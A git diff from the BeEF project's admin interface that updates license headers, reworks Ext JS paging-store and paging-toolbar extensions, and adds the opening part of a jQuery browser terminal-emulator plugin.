- var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items;
- // *** end ***
- // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items;
- var v, sv, r = [],
- l = {};
- for (var i = 0, len = d.length; i < len; i++) {
- v = d[i].data[dataIndex];
- sv = String(v);
- if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) {
- l[sv] = true;
- r[r.length] = v;
- }
- }
- return r;
- },
- findInsertIndex : function(record){
- this.suspendEvents();
- var data = this.data.clone();
- this.data.add(record);
- this.applySort();
- var index = this.data.indexOf(record);
- this.data = data;
- // *** add ***
- this.totalLength--;
- // *** end ***
- this.resumeEvents();
- return index;
- },
- // *** add ***
- isPaging: function (params) {
- var pn = this.paramNames,
- start = params[pn.start],
- limit = params[pn.limit];
- if ((typeof start != 'number') || (typeof limit != 'number')) {
- delete this.start;
- delete this.limit;
- this.lastParams = params;
- return false;
- }
- this.start = start;
- this.limit = limit;
- delete params[pn.start];
- delete params[pn.limit];
- var lastParams = this.lastParams;
- this.lastParams = params;
- if (!this.proxy) {
- return true;
- }
- if (!lastParams) {
- return false;
- }
- for (var param in params) {
- if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) {
- return false;
- }
- }
- for (param in lastParams) {
- if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) {
- return false;
- }
- }
- return true;
- },
- applyPaging: function () {
- var start = this.start,
- limit = this.limit;
- if ((typeof start == 'number') && (typeof limit == 'number')) {
- var allData = this.data,
- data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey);
- data.items = allData.items.slice(start, start + limit);
- data.keys = allData.keys.slice(start, start + limit);
- var len = data.length = data.items.length;
- var map = {};
- for (var i = 0; i < len; i++) {
- var item = data.items[i];
- map[data.getKey(item)] = item;
- }
- data.map = map;
- this.allData = allData;
- this.data = data;
- }
- }
- // *** end ***
-});
-
-Ext.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, {
- constructor: Ext.data.DirectStore.prototype.constructor
-});
-Ext.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore);
-
-Ext.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, {
- constructor: Ext.data.JsonStore.prototype.constructor
-});
-Ext.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore);
-
-Ext.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, {
- constructor: Ext.data.XmlStore.prototype.constructor
-});
-Ext.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore);
-
-Ext.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, {
- constructor: Ext.data.ArrayStore.prototype.constructor,
- loadData: function (data, append) {
- if (this.expandData === true) {
- var r = [];
- for (var i = 0, len = data.length; i < len; i++) {
- r[r.length] = [data[i]];
- }
- data = r;
- }
- Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append);
- }
-});
-Ext.reg('pagingarraystore', Ext.ux.data.PagingArrayStore);
-
-Ext.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore;
-Ext.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore);
-
-Ext.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [
- 'constructor',
- 'remoteGroup',
- 'groupOnSort',
- 'groupDir',
- 'clearGrouping',
- 'groupBy',
- 'sort',
- 'applyGroupField',
- 'applyGrouping',
- 'getGroupState'
-]));
-Ext.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore);
-
-Ext.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, {
- onLoad: function (store, r, o) {
- if (!this.rendered) {
- this.dsLoaded = [store, r, o];
- return;
- }
- var p = this.getParams();
- this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0;
- this.onChange();
- // *** end ***
- // var d = this.getPageData(),
- // ap = d.activePage,
- // ps = d.pages;
- // this.afterTextItem.setText(String.format(this.afterPageText, d.pages));
- // this.inputItem.setValue(ap);
- // this.first.setDisabled(ap == 1);
- // this.prev.setDisabled(ap == 1);
- // this.next.setDisabled(ap == ps);
- // this.last.setDisabled(ap == ps);
- // this.refresh.enable();
- // this.updateInfo();
- // this.fireEvent('change', this, d);
- },
- onChange: function () {
- // *** add ***
- var t = this.store.getTotalCount(),
- s = this.pageSize;
- if (this.cursor >= t) {
- this.cursor = Math.ceil((t + 1) / s) * s;
- }
- // *** end ***
- var d = this.getPageData(),
- ap = d.activePage,
- ps = d.pages;
- this.afterTextItem.setText(String.format(this.afterPageText, d.pages));
- this.inputItem.setValue(ap);
- this.first.setDisabled(ap == 1);
- this.prev.setDisabled(ap == 1);
- this.next.setDisabled(ap == ps);
- this.last.setDisabled(ap == ps);
- this.refresh.enable();
- this.updateInfo();
- this.fireEvent('change', this, d);
- },
- onClear: function () {
- this.cursor = 0;
- this.onChange();
- },
- doRefresh: function () {
- // *** add ***
- delete this.store.lastParams;
- // *** end ***
- this.doLoad(this.cursor);
- },
- bindStore: function (store, initial) {
- var doLoad;
- if (!initial && this.store) {
- if (store !== this.store && this.store.autoDestroy) {
- this.store.destroy();
- } else {
- this.store.un('beforeload', this.beforeLoad, this);
- this.store.un('load', this.onLoad, this);
- this.store.un('exception', this.onLoadError, this);
- // *** add ***
- this.store.un('datachanged', this.onChange, this);
- this.store.un('add', this.onChange, this);
- this.store.un('remove', this.onChange, this);
- this.store.un('clear', this.onClear, this);
- // *** end ***
- }
- if (!store) {
- this.store = null;
- }
- }
- if (store) {
- store = Ext.StoreMgr.lookup(store);
- store.on({
- scope: this,
- beforeload: this.beforeLoad,
- load: this.onLoad,
- exception: this.onLoadError,
- // *** add ***
- datachanged: this.onChange,
- add: this.onChange,
- remove: this.onChange,
- clear: this.onClear
- // *** end ***
- });
- doLoad = true;
- }
- this.store = store;
- if (doLoad) {
- this.onLoad(store, null, {});
- }
- }
-});
-Ext.reg('ux.paging', Ext.ux.PagingToolbar);
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*
+ * PagingStore for Ext 3.2 - v0.5
+ */
+Ext.ns('Ext.ux.data');
+Ext.ux.data.PagingStore = Ext.extend(Ext.data.Store, {
+ add: function (records) {
+ records = [].concat(records);
+ if (records.length < 1) {
+ return;
+ }
+ for (var i = 0, len = records.length; i < len; i++) {
+ records[i].join(this);
+ }
+ var index = this.data.length;
+ this.data.addAll(records);
+ // *** add ***
+ if (this.allData) {
+ this.allData.addAll(records);
+ }
+ // *** end ***
+ if (this.snapshot) {
+ this.snapshot.addAll(records);
+ }
+ // *** add ***
+ this.totalLength += records.length;
+ // *** end ***
+ this.fireEvent('add', this, records, index);
+ },
+ remove: function (record) {
+ if (Ext.isArray(record)) {
+ Ext.each(record, function (r) {
+ this.remove(r);
+ }, this);
+ return;
+ }
+ // *** add ***
+ if (this != record.store) {
+ return;
+ }
+ record.join(null);
+ // *** end ***
+ var index = this.data.indexOf(record);
+ if (index > -1) {
+ // record.join(null);
+ this.data.removeAt(index);
+ }
+ if (this.pruneModifiedRecords) {
+ this.modified.remove(record);
+ }
+ // *** add ***
+ if (this.allData) {
+ this.allData.remove(record);
+ }
+ // *** end ***
+ if (this.snapshot) {
+ this.snapshot.remove(record);
+ }
+ // *** add ***
+ this.totalLength--;
+ // *** end ***
+ if (index > -1) {
+ this.fireEvent('remove', this, record, index);
+ }
+ },
+ removeAll: function (silent) {
+ // *** add ***
+ var items = [].concat((this.snapshot || this.allData || this.data).items);
+ // *** end ***
+ // var items = [];
+ // this.each(function (rec) {
+ // items.push(rec);
+ // });
+ this.clearData();
+ // if (this.snapshot) {
+ // this.snapshot.clear();
+ // }
+ if (this.pruneModifiedRecords) {
+ this.modified = [];
+ }
+ // *** add ***
+ this.totalLength = 0;
+ // *** end ***
+ if (silent !== true) {
+ this.fireEvent('clear', this, items);
+ }
+ },
+ insert: function (index, records) {
+ records = [].concat(records);
+ for (var i = 0, len = records.length; i < len; i++) {
+ this.data.insert(index, records[i]);
+ records[i].join(this);
+ }
+ // *** add ***
+ if (this.allData) {
+ this.allData.addAll(records);
+ }
+ // *** end ***
+ if (this.snapshot) {
+ this.snapshot.addAll(records);
+ }
+ // *** add ***
+ this.totalLength += records.length;
+ // *** end ***
+ this.fireEvent('add', this, records, index);
+ },
+ getById: function (id) {
+ // *** add ***
+ return (this.snapshot || this.allData || this.data).key(id);
+ // *** end ***
+ // return this.data.key(id);
+ },
+ clearData: function () {
+ // *** add ***
+ if (this.allData) {
+ this.data = this.allData;
+ delete this.allData;
+ }
+ if (this.snapshot) {
+ this.data = this.snapshot;
+ delete this.snapshot;
+ }
+ // *** end ***
+ this.data.each(function (rec) {
+ rec.join(null);
+ });
+ this.data.clear();
+ },
+ execute: function (action, rs, options, batch) {
+ if (!Ext.data.Api.isAction(action)) {
+ throw new Ext.data.Api.Error('execute', action);
+ }
+ options = Ext.applyIf(options || {}, {
+ params: {}
+ });
+ if (batch !== undefined) {
+ this.addToBatch(batch);
+ }
+ var doRequest = true;
+ if (action === 'read') {
+ doRequest = this.fireEvent('beforeload', this, options);
+ Ext.applyIf(options.params, this.baseParams);
+ }
+ else {
+ if (this.writer.listful === true && this.restful !== true) {
+ rs = (Ext.isArray(rs)) ? rs : [rs];
+ }
+ else if (Ext.isArray(rs) && rs.length == 1) {
+ rs = rs.shift();
+ }
+ if ((doRequest = this.fireEvent('beforewrite', this, action, rs, options)) !== false) {
+ this.writer.apply(options.params, this.baseParams, action, rs);
+ }
+ }
+ if (doRequest !== false) {
+ if (this.writer && this.proxy.url && !this.proxy.restful && !Ext.data.Api.hasUniqueUrl(this.proxy, action)) {
+ options.params.xaction = action;
+ }
+ // *** add ***
+ if (action === "read" && this.isPaging(Ext.apply({}, options.params))) {
+ (function () {
+ if (this.allData) {
+ this.data = this.allData;
+ delete this.allData;
+ }
+ this.applyPaging();
+ this.fireEvent("datachanged", this);
+ var r = [].concat(this.data.items);
+ this.fireEvent("load", this, r, options);
+ if (options.callback) {
+ options.callback.call(options.scope || this, r, options, true);
+ }
+ }).defer(1, this);
+ return true;
+ }
+ // *** end ***
+ this.proxy.request(Ext.data.Api.actions[action], rs, options.params, this.reader, this.createCallback(action, rs, batch), this, options);
+ }
+ return doRequest;
+ },
+ loadRecords: function (o, options, success) {
+ if (this.isDestroyed === true) {
+ return;
+ }
+ if (!o || success === false) {
+ if (success !== false) {
+ this.fireEvent('load', this, [], options);
+ }
+ if (options.callback) {
+ options.callback.call(options.scope || this, [], options, false, o);
+ }
+ return;
+ }
+ var r = o.records,
+ t = o.totalRecords || r.length;
+ if (!options || options.add !== true) {
+ if (this.pruneModifiedRecords) {
+ this.modified = [];
+ }
+ for (var i = 0, len = r.length; i < len; i++) {
+ r[i].join(this);
+ }
+ //if (this.snapshot) {
+ // this.data = this.snapshot;
+ // delete this.snapshot;
+ //}
+ this.clearData();
+ this.data.addAll(r);
+ this.totalLength = t;
+ this.applySort();
+ // *** add ***
+ if (!this.allData) {
+ this.applyPaging();
+ }
+ if (r.length > this.getCount()) {
+ r = [].concat(this.data.items);
+ }
+ // *** end ***
+ this.fireEvent('datachanged', this);
+ } else {
+ this.totalLength = Math.max(t, this.data.length + r.length);
+ this.add(r);
+ }
+ this.fireEvent('load', this, r, options);
+ if (options.callback) {
+ options.callback.call(options.scope || this, r, options, true);
+ }
+ },
+ loadData: function (o, append) {
+ // *** add ***
+ this.isPaging(Ext.apply({}, this.lastOptions ? this.lastOptions.params : null, this.baseParams));
+ // *** end ***
+ var r = this.reader.readRecords(o);
+ this.loadRecords(r, {
+ add: append
+ }, true);
+ },
+ getTotalCount: function () {
+ // *** add ***
+ if (this.allData) {
+ return this.allData.getCount();
+ }
+ // *** end ***
+ return this.totalLength || 0;
+ },
+ sortData: function () {
+ var sortInfo = this.hasMultiSort ? this.multiSortInfo : this.sortInfo,
+ direction = sortInfo.direction || "ASC",
+ sorters = sortInfo.sorters,
+ sortFns = [];
+ if (!this.hasMultiSort) {
+ sorters = [{
+ direction: direction,
+ field: sortInfo.field
+ }];
+ }
+ for (var i = 0, j = sorters.length; i < j; i++) {
+ sortFns.push(this.createSortFunction(sorters[i].field, sorters[i].direction));
+ }
+ if (!sortFns.length) {
+ return;
+ }
+ var directionModifier = direction.toUpperCase() == "DESC" ? -1 : 1;
+ var fn = function (r1, r2) {
+ var result = sortFns[0].call(this, r1, r2);
+ if (sortFns.length > 1) {
+ for (var i = 1, j = sortFns.length; i < j; i++) {
+ result = result || sortFns[i].call(this, r1, r2);
+ }
+ }
+ return directionModifier * result;
+ };
+ // *** add ***
+ if (this.allData) {
+ this.data = this.allData;
+ delete this.allData;
+ }
+ // *** end ***
+ this.data.sort(direction, fn);
+ if (this.snapshot && this.snapshot != this.data) {
+ this.snapshot.sort(direction, fn);
+ }
+ // *** add ***
+ this.applyPaging();
+ // *** end ***
+ },
+ filterBy: function (fn, scope) {
+ // *** add ***
+ this.snapshot = this.snapshot || this.allData || this.data;
+ // *** end ***
+ // this.snapshot = this.snapshot || this.data;
+ this.data = this.queryBy(fn, scope || this);
+ // *** add ***
+ this.applyPaging();
+ // *** end ***
+ this.fireEvent('datachanged', this);
+ },
+ clearFilter: function (suppressEvent) {
+ if (this.isFiltered()) {
+ this.data = this.snapshot;
+ delete this.snapshot;
+ // *** add ***
+ delete this.allData;
+ this.applyPaging();
+ // *** end ***
+ if (suppressEvent !== true) {
+ this.fireEvent('datachanged', this);
+ }
+ }
+ },
+ isFiltered: function () {
+ // *** add ***
+ return !!this.snapshot && this.snapshot != (this.allData || this.data);
+ // *** end ***
+ // return !!this.snapshot && this.snapshot != this.data;
+ },
+ queryBy: function (fn, scope) {
+ // *** add ***
+ var data = this.snapshot || this.allData || this.data;
+ // *** end ***
+ // var data = this.snapshot || this.data;
+ return data.filterBy(fn, scope || this);
+ },
+ collect: function (dataIndex, allowNull, bypassFilter) {
+ // *** add ***
+ var d = (bypassFilter === true ? this.snapshot || this.allData || this.data : this.data).items;
+ // *** end ***
+ // var d = (bypassFilter === true && this.snapshot) ? this.snapshot.items : this.data.items;
+ var v, sv, r = [],
+ l = {};
+ for (var i = 0, len = d.length; i < len; i++) {
+ v = d[i].data[dataIndex];
+ sv = String(v);
+ if ((allowNull || !Ext.isEmpty(v)) && !l[sv]) {
+ l[sv] = true;
+ r[r.length] = v;
+ }
+ }
+ return r;
+ },
+ findInsertIndex : function(record){
+ this.suspendEvents();
+ var data = this.data.clone();
+ this.data.add(record);
+ this.applySort();
+ var index = this.data.indexOf(record);
+ this.data = data;
+ // *** add ***
+ this.totalLength--;
+ // *** end ***
+ this.resumeEvents();
+ return index;
+ },
+ // *** add ***
+ isPaging: function (params) {
+ var pn = this.paramNames,
+ start = params[pn.start],
+ limit = params[pn.limit];
+ if ((typeof start != 'number') || (typeof limit != 'number')) {
+ delete this.start;
+ delete this.limit;
+ this.lastParams = params;
+ return false;
+ }
+ this.start = start;
+ this.limit = limit;
+ delete params[pn.start];
+ delete params[pn.limit];
+ var lastParams = this.lastParams;
+ this.lastParams = params;
+ if (!this.proxy) {
+ return true;
+ }
+ if (!lastParams) {
+ return false;
+ }
+ for (var param in params) {
+ if (params.hasOwnProperty(param) && (params[param] !== lastParams[param])) {
+ return false;
+ }
+ }
+ for (param in lastParams) {
+ if (lastParams.hasOwnProperty(param) && (params[param] !== lastParams[param])) {
+ return false;
+ }
+ }
+ return true;
+ },
+ applyPaging: function () {
+ var start = this.start,
+ limit = this.limit;
+ if ((typeof start == 'number') && (typeof limit == 'number')) {
+ var allData = this.data,
+ data = new Ext.util.MixedCollection(allData.allowFunctions, allData.getKey);
+ data.items = allData.items.slice(start, start + limit);
+ data.keys = allData.keys.slice(start, start + limit);
+ var len = data.length = data.items.length;
+ var map = {};
+ for (var i = 0; i < len; i++) {
+ var item = data.items[i];
+ map[data.getKey(item)] = item;
+ }
+ data.map = map;
+ this.allData = allData;
+ this.data = data;
+ }
+ }
+ // *** end ***
+});
+
+Ext.ux.data.PagingDirectStore = Ext.extend(Ext.ux.data.PagingStore, {
+ constructor: Ext.data.DirectStore.prototype.constructor
+});
+Ext.reg('pagingdirectstore', Ext.ux.data.PagingDirectStore);
+
+Ext.ux.data.PagingJsonStore = Ext.extend(Ext.ux.data.PagingStore, {
+ constructor: Ext.data.JsonStore.prototype.constructor
+});
+Ext.reg('pagingjsonstore', Ext.ux.data.PagingJsonStore);
+
+Ext.ux.data.PagingXmlStore = Ext.extend(Ext.ux.data.PagingStore, {
+ constructor: Ext.data.XmlStore.prototype.constructor
+});
+Ext.reg('pagingxmlstore', Ext.ux.data.PagingXmlStore);
+
+Ext.ux.data.PagingArrayStore = Ext.extend(Ext.ux.data.PagingStore, {
+ constructor: Ext.data.ArrayStore.prototype.constructor,
+ loadData: function (data, append) {
+ if (this.expandData === true) {
+ var r = [];
+ for (var i = 0, len = data.length; i < len; i++) {
+ r[r.length] = [data[i]];
+ }
+ data = r;
+ }
+ Ext.ux.data.PagingArrayStore.superclass.loadData.call(this, data, append);
+ }
+});
+Ext.reg('pagingarraystore', Ext.ux.data.PagingArrayStore);
+
+Ext.ux.data.PagingSimpleStore = Ext.ux.data.PagingArrayStore;
+Ext.reg('pagingsimplestore', Ext.ux.data.PagingSimpleStore);
+
+Ext.ux.data.PagingGroupingStore = Ext.extend(Ext.ux.data.PagingStore, Ext.copyTo({}, Ext.data.GroupingStore.prototype, [
+ 'constructor',
+ 'remoteGroup',
+ 'groupOnSort',
+ 'groupDir',
+ 'clearGrouping',
+ 'groupBy',
+ 'sort',
+ 'applyGroupField',
+ 'applyGrouping',
+ 'getGroupState'
+]));
+Ext.reg('paginggroupingstore', Ext.ux.data.PagingGroupingStore);
+
+Ext.ux.PagingToolbar = Ext.extend(Ext.PagingToolbar, {
+ onLoad: function (store, r, o) {
+ if (!this.rendered) {
+ this.dsLoaded = [store, r, o];
+ return;
+ }
+ var p = this.getParams();
+ this.cursor = (o.params && o.params[p.start]) ? o.params[p.start] : 0;
+ this.onChange();
+ // *** end ***
+ // var d = this.getPageData(),
+ // ap = d.activePage,
+ // ps = d.pages;
+ // this.afterTextItem.setText(String.format(this.afterPageText, d.pages));
+ // this.inputItem.setValue(ap);
+ // this.first.setDisabled(ap == 1);
+ // this.prev.setDisabled(ap == 1);
+ // this.next.setDisabled(ap == ps);
+ // this.last.setDisabled(ap == ps);
+ // this.refresh.enable();
+ // this.updateInfo();
+ // this.fireEvent('change', this, d);
+ },
+ onChange: function () {
+ // *** add ***
+ var t = this.store.getTotalCount(),
+ s = this.pageSize;
+ if (this.cursor >= t) {
+ this.cursor = Math.ceil((t + 1) / s) * s;
+ }
+ // *** end ***
+ var d = this.getPageData(),
+ ap = d.activePage,
+ ps = d.pages;
+ this.afterTextItem.setText(String.format(this.afterPageText, d.pages));
+ this.inputItem.setValue(ap);
+ this.first.setDisabled(ap == 1);
+ this.prev.setDisabled(ap == 1);
+ this.next.setDisabled(ap == ps);
+ this.last.setDisabled(ap == ps);
+ this.refresh.enable();
+ this.updateInfo();
+ this.fireEvent('change', this, d);
+ },
+ onClear: function () {
+ this.cursor = 0;
+ this.onChange();
+ },
+ doRefresh: function () {
+ // *** add ***
+ delete this.store.lastParams;
+ // *** end ***
+ this.doLoad(this.cursor);
+ },
+ bindStore: function (store, initial) {
+ var doLoad;
+ if (!initial && this.store) {
+ if (store !== this.store && this.store.autoDestroy) {
+ this.store.destroy();
+ } else {
+ this.store.un('beforeload', this.beforeLoad, this);
+ this.store.un('load', this.onLoad, this);
+ this.store.un('exception', this.onLoadError, this);
+ // *** add ***
+ this.store.un('datachanged', this.onChange, this);
+ this.store.un('add', this.onChange, this);
+ this.store.un('remove', this.onChange, this);
+ this.store.un('clear', this.onClear, this);
+ // *** end ***
+ }
+ if (!store) {
+ this.store = null;
+ }
+ }
+ if (store) {
+ store = Ext.StoreMgr.lookup(store);
+ store.on({
+ scope: this,
+ beforeload: this.beforeLoad,
+ load: this.onLoad,
+ exception: this.onLoadError,
+ // *** add ***
+ datachanged: this.onChange,
+ add: this.onChange,
+ remove: this.onChange,
+ clear: this.onClear
+ // *** end ***
+ });
+ doLoad = true;
+ }
+ this.store = store;
+ if (doLoad) {
+ this.onLoad(store, null, {});
+ }
+ }
+});
+Ext.reg('ux.paging', Ext.ux.PagingToolbar);
diff --git a/extensions/admin_ui/media/javascript/ux/StatusBar.js b/extensions/admin_ui/media/javascript/ux/StatusBar.js
index ac1e5f5c6..9b70abe46 100644
--- a/extensions/admin_ui/media/javascript/ux/StatusBar.js
+++ b/extensions/admin_ui/media/javascript/ux/StatusBar.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* Ext JS Library 3.1.1
* Copyright(c) 2006-2010 Ext JS, LLC
diff --git a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js
index 7ed3a50ac..a9bfde238 100644
--- a/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js
+++ b/extensions/admin_ui/media/javascript/ux/TabCloseMenu.js
@@ -1,73 +1,64 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*!
- * Ext JS Library 3.1.1
- * Copyright(c) 2006-2010 Ext JS, LLC
- * licensing@extjs.com
- * http://www.extjs.com/license
- */
-/**
- * @class Ext.ux.TabCloseMenu
- * @extends Object
- * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs.
- *
- * @ptype tabclosemenu
- */
-Ext.ux.TabCloseMenu = function(){
- var tabs, menu, ctxItem;
- this.init = function(tp){
- tabs = tp;
- tabs.on('contextmenu', onContextMenu);
- };
-
- function onContextMenu(ts, item, e){
- if(!menu){ // create context menu on first right click
- menu = new Ext.menu.Menu({
- items: [{
- id: tabs.id + '-close',
- text: 'Close Tab',
- handler : function(){
- tabs.remove(ctxItem);
- }
- },{
- id: tabs.id + '-close-others',
- text: 'Close Other Tabs',
- handler : function(){
- tabs.items.each(function(item){
- if(item.closable && item != ctxItem){
- tabs.remove(item);
- }
- });
- }
- }]});
- }
- ctxItem = item;
- var items = menu.items;
- items.get(tabs.id + '-close').setDisabled(!item.closable);
- var disableOthers = true;
- tabs.items.each(function(){
- if(this != item && this.closable){
- disableOthers = false;
- return false;
- }
- });
- items.get(tabs.id + '-close-others').setDisabled(disableOthers);
- e.stopEvent();
- menu.showAt(e.getPoint());
- }
-};
-
-Ext.preg('tabclosemenu', Ext.ux.TabCloseMenu);
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * Ext JS Library 3.1.1
+ * Copyright(c) 2006-2010 Ext JS, LLC
+ * licensing@extjs.com
+ * http://www.extjs.com/license
+ */
+/**
+ * @class Ext.ux.TabCloseMenu
+ * @extends Object
+ * Plugin (ptype = 'tabclosemenu') for adding a close context menu to tabs.
+ *
+ * @ptype tabclosemenu
+ */
+Ext.ux.TabCloseMenu = function(){
+ var tabs, menu, ctxItem;
+ this.init = function(tp){
+ tabs = tp;
+ tabs.on('contextmenu', onContextMenu);
+ };
+
+ function onContextMenu(ts, item, e){
+ if(!menu){ // create context menu on first right click
+ menu = new Ext.menu.Menu({
+ items: [{
+ id: tabs.id + '-close',
+ text: 'Close Tab',
+ handler : function(){
+ tabs.remove(ctxItem);
+ }
+ },{
+ id: tabs.id + '-close-others',
+ text: 'Close Other Tabs',
+ handler : function(){
+ tabs.items.each(function(item){
+ if(item.closable && item != ctxItem){
+ tabs.remove(item);
+ }
+ });
+ }
+ }]});
+ }
+ ctxItem = item;
+ var items = menu.items;
+ items.get(tabs.id + '-close').setDisabled(!item.closable);
+ var disableOthers = true;
+ tabs.items.each(function(){
+ if(this != item && this.closable){
+ disableOthers = false;
+ return false;
+ }
+ });
+ items.get(tabs.id + '-close-others').setDisabled(disableOthers);
+ e.stopEvent();
+ menu.showAt(e.getPoint());
+ }
+};
+
+Ext.preg('tabclosemenu', Ext.ux.TabCloseMenu);
diff --git a/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js b/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js
new file mode 100644
index 000000000..4ca740001
--- /dev/null
+++ b/extensions/admin_ui/media/javascript/wterm/wterm.jquery.js
@@ -0,0 +1,424 @@
+/*
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
+ */
+
+/**
+ * @Author : venkatakrishnan ganesh
+ * @file : wterm.jquery.js
+ * @url : http://wterminal.appspot.com
+ * @desc :
+ *
+ * Allows Emulation of Terminal on the browser.
+ * Completely Extendible.
+ * Command History.
+ * Commandline Editing.
+ *
+ * Modified by antisnatchor (also to prevent XSS, see line 270)
+ * */
+
+( function( $ ) {
+
+
+ var VERSION = '0.0.4';
+
+ /**
+ *
+ * @function : get_defaults
+ * @returns : Object
+ * @desc : Returns Global Defaults
+ *
+ * */
+ var get_defaults = function() {
+
+ return {
+
+ // PS1 : The Primary Prompt
+ PS1 : 'BeEF-bind-$',
+
+ // TERMINAL_CLASS
+ // Will be applied to the primary terminal container
+ TERMINAL_CLASS : 'wterm_terminal',
+
+ // PROMPT_CLASS
+ // Will Applied to prompt container
+ PROMPT_CLASS : 'wterm_prompt',
+
+ // THEME_CLASS_PREFIX
+ // All Theme Classes will be prefixed by this string
+ THEME_CLASS_PREFIX : 'wterm_theme',
+
+ // DEFAULT_THEME
+ // The theme that is applied by default
+ DEFAULT_THEME : '_green_on_black',
+
+ // HIGHLIGHT_CLASS
+ // The Class that is applied to highlighted text
+ HIGHLIGHT_CLASS : 'wterm_highlight',
+
+ // KEYWORD_CLASS
+ // The Class that is applied to keywords
+ KEYWORD_CLASS : 'wterm_keyword',
+
+ // CONTENT_CLASS
+ // The Class that is applied to content section
+ KEYWORD_CLASS : 'wterm_content',
+
+ // WIDTH | HIGHT
+ // Explicitly set width and height of the terminal
+ // container. This may also be done in TERMINAL_CLASS
+ WIDTH : '90%',
+ HEIGHT : '90%',
+
+ // WELCOME_MESSAGE
+ // Message to be shown when the terminal is first
+ // published
+ WELCOME_MESSAGE : 'Welcome to Wterm version-' + VERSION ,
+
+ // NOT_FOUND
+ // Message to be published if the command is not found
+ // Note: "CMD" will be replaced with the actual command
+ NOT_FOUND : '
CMD: Command Not Found
',
+
+ // AUTOCOMPLETE
+ // Is Autocomplete feature Enabled
+ // Please see the manual on how AUTOCOMPLETE is implemented
+ AUTOCOMPLETE : true,
+
+ // HISTORY
+ // Is Command History Enabled
+ HISTORY : true,
+
+ // HISTORY
+ // No of entries to be stored in HISTORY
+ HISTORY_ENTRIES : 100,
+
+
+ // AJAX_METHOD
+ // The HTTP Method that must be used for Ajax Requests
+ AJAX_METHOD : 'GET',
+
+
+ // AJAX_PARAMETER
+ // The GET/POST parameter that should be used to make requests
+ AJAX_PARAM : 'tokens',
+
+ // ERROR_PREFIX
+ // Prefix For Error Messages
+ ERROR_PREFIX : 'An Error Occured: '
+
+ };
+ };
+
+
+ /**
+ * @property : dispatch
+ * @accessor : $.register_command ( See Below )
+ * @private
+ * @desc :
+ *
+ * dispatch table stores command name and action
+ * to be taken when user enters a command. See
+ * Manual for more details on how to implement
+ * your own commands
+ *
+ **/
+ var dispatch = {
+ };
+
+
+ /**
+ *
+ * @method : wterm
+ * @public
+ * @desc : Sets up the terminal on the JQ object that
+ * represents a ( or a group ) of HTML NODE (s)
+ *
+ **/
+ $.fn.wterm = function( options ) {
+
+
+ // Merge defaults with options
+ var settings = get_defaults();
+ $.extend( true, settings, options );
+
+ // JQ Plugin surprised??
+ return this.each( function() {
+
+
+ var element = $( this );
+ var history = [ ];
+ var hcurrent = null;
+
+ // Set up some markup in the element
+ // required for terminal emulation
+ element.addClass( settings.TERMINAL_CLASS ).addClass( settings.THEME_CLASS_PREFIX + settings.DEFAULT_THEME );
+ if( settings.WIDTH && settings.HEIGHT ) element.css( { width: settings.WIDTH, height: settings.HEIGHT } )
+ element.html( '' ).append( '
' );
+
+
+ // Representing prompt, form, input and content section
+ // in the terminal
+ var _prompt = element.find( 'div:last span:last' );
+ var input_form = element.find( 'div:last form' );
+ var input = element.find( 'div:last form input' );
+ var content = element.find( '.' + settings.CONTENT_CLASS );
+
+ // Custom Dispatcher
+ var cdispatch = null;
+
+ // Temprary storage for autocomplete configuration
+ var ac_save = null;
+
+ // Temporary store for current prompt
+ var cprompt = null;
+
